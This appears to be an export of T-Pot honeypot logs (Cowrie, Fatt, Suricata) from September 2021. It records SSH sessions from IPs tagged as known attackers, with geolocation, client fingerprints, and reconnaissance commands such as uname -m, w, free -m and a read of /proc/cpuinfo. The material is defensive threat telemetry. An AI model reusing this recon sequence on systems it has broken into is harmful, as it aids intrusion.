33639	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:25.95366+03	2021-09-20 15:00:06.117721+03	{"_id": "zgYQA3wBvYTbRNuEg1AG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:25.953660Z", "@timestamp": "2021-09-20T11:56:25.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33640	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:26.732471+03	2021-09-20 15:00:06.118722+03	{"_id": "1gYQA3wBvYTbRNuEhlDx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "which ls", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:26.732471Z", "@timestamp": "2021-09-20T11:56:26.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33641	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:28.307535+03	2021-09-20 15:00:06.119721+03	{"_id": "5gYQA3wBvYTbRNuEjlDD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "w", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:28.307535Z", "@timestamp": "2021-09-20T11:56:28.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33642	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:29.055292+03	2021-09-20 15:00:06.121722+03	{"_id": "6AYQA3wBvYTbRNuEjlDD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:29.055292Z", "@timestamp": "2021-09-20T11:56:29.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33643	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:29.471543+03	2021-09-20 15:00:06.122722+03	{"_id": "6wYQA3wBvYTbRNuEklCs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:29.471543Z", "@timestamp": "2021-09-20T11:56:29.471Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33644	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:30.08838+03	2021-09-20 15:00:06.123721+03	{"_id": "7gYQA3wBvYTbRNuEklCs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "120.36.157.98", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.6169157028198242, "duplicate": true, "timestamp": "2021-09-20T11:56:30.088380Z", "@timestamp": "2021-09-20T11:56:30.088Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33645	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:28.307001+03	2021-09-20 15:00:06.124722+03	{"_id": "4gYQA3wBvYTbRNuEjlDD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:28.307001Z", "@timestamp": "2021-09-20T11:56:28.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33646	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:29.057528+03	2021-09-20 15:00:06.125724+03	{"_id": "5QYQA3wBvYTbRNuEjlDD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "120.36.157.98", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.6701755523681641, "duplicate": true, "timestamp": "2021-09-20T11:56:29.057528Z", "@timestamp": "2021-09-20T11:56:29.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33647	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:29.472093+03	2021-09-20 15:00:06.127723+03	{"_id": "7QYQA3wBvYTbRNuEklCs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:29.472093Z", "@timestamp": "2021-09-20T11:56:29.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33648	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:29.796782+03	2021-09-20 15:00:06.128724+03	{"_id": "8AYQA3wBvYTbRNuEklCs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:29.796782Z", "@timestamp": "2021-09-20T11:56:29.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33649	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:24.377326+03	2021-09-20 15:00:06.129723+03	{"_id": "yAYQA3wBvYTbRNuEf1Ad", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:24.377326Z", "@timestamp": "2021-09-20T11:56:24.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33650	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:24.377861+03	2021-09-20 15:00:06.130753+03	{"_id": "yQYQA3wBvYTbRNuEf1Ad", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:24.377861Z", "@timestamp": "2021-09-20T11:56:24.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33651	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:30.997754+03	2021-09-20 15:00:06.131753+03	{"_id": "9QYQA3wBvYTbRNuEllCW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "110.137.195.172", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.4167792797088623, "duplicate": true, "timestamp": "2021-09-20T11:56:30.997754Z", "@timestamp": "2021-09-20T11:56:30.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33652	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:30.581053+03	2021-09-20 15:00:06.13275+03	{"_id": "8wYQA3wBvYTbRNuEllCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:30.581053Z", "@timestamp": "2021-09-20T11:56:30.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33653	107.0.200.227	109.199.241.180	Fatt	2021-09-20 14:56:31.634661+03	2021-09-20 15:00:06.133753+03	{"_id": "-QYQA3wBvYTbRNuEmFDg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 37502, "dest_port": 22, "timestamp": "2021-09-20T11:56:31.634661", "@timestamp": "2021-09-20T11:56:31.634Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33654	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:31.49479+03	2021-09-20 15:00:06.135724+03	{"_id": "BAYQA3wBvYTbRNuEmlF_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:31.494790Z", "@timestamp": "2021-09-20T11:56:31.494Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33660	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:33.062072+03	2021-09-20 15:00:06.141755+03	{"_id": "DwYQA3wBvYTbRNuEnlFp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "120.36.157.98", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5776669979095459, "duplicate": true, "timestamp": "2021-09-20T11:56:33.062072Z", "@timestamp": "2021-09-20T11:56:33.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33655	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:56:31.784915+03	2021-09-20 15:00:06.136754+03	{"_id": "BQYQA3wBvYTbRNuEmlF_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ac67423231a4", "@version": "1", "timestamp": "2021-09-20T11:56:31.784915Z", "@timestamp": "2021-09-20T11:56:31.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33656	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:56:31.497879+03	2021-09-20 15:00:06.137723+03	{"_id": "AQYQA3wBvYTbRNuEmlF_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ac67423231a4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:56:31.497879Z", "@timestamp": "2021-09-20T11:56:31.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33657	107.0.200.227	109.199.241.180	Suricata	2021-09-20 14:56:31.63325+03	2021-09-20 15:00:06.138752+03	{"_id": "CAYQA3wBvYTbRNuEm1G9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "flow_id": 1399248653352813, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37502, "dest_port": 22, "timestamp": "2021-09-20T11:56:31.633250Z", "@timestamp": "2021-09-20T11:56:31.633Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
